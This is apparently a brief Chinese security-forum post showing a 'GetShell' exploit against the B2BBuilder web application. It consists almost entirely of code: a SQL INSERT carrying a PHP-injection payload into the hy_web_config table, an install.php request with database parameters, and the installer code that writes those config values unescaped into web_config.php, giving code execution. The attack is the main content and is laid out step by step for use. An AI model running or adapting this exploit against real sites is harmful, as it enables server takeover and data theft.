[我爱t00ls] B2BBuilder GetShell

CREATE TABLE `hy_web_config` (  `id` int(5) unsigned NOT NULL auto_increment COMMENT '主键ＩＤ',  `index` varchar(30) NOT NULL COMMENT '数组下标',  `value` text NOT NULL COMMENT '数组值',  `statu` tinyint(1) NOT NULL default '1' COMMENT '状态值，1可能，0不可用',  `type` varchar(50) default NULL,  `des` text,  PRIMARY KEY  (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='网站配置表' AUTO_INCREMENT=849 ;

INSERT INTO  `hy_web_config` (`id` ,

`index` ,

`value` ,

`statu` ,

`type` ,

`des`)

VALUES (NULL , 'getshell', ''')); ?><?php phpinfo(); ?>', '1', NULL , NULL);

http://w/coder/b2b/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=b2btest&dbuser=root&dbpassword=passw0rd&tableprefix=b2bbuilder_&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF

                //写系统配置文件

                $rsid=mysql_query("select * from  ".$tableprefix."web_config");

              $arr=array(); $configs=array();

                while($row=mysql_fetch_array($rsid))

                {

                    $arr[] = $row;

                }

                foreach($arr as $v)

                {

                    $index=$v['index'];

                    $value=$v['value'];

                    $configs[$index]=$value;

                }

                

              $write_config_con_array=$configs;

                $write_config_con_str=serialize($write_config_con_array);//将数组序列化后生成字符串

                $write_config_con_str='<?php $config = array_merge($config, unserialize(\''.$write_config_con_str.'\'));?>';//生成要写的内容  写入shell 

                $cfp=fopen(dirname(__FILE__).'/../config/web_config.php','w');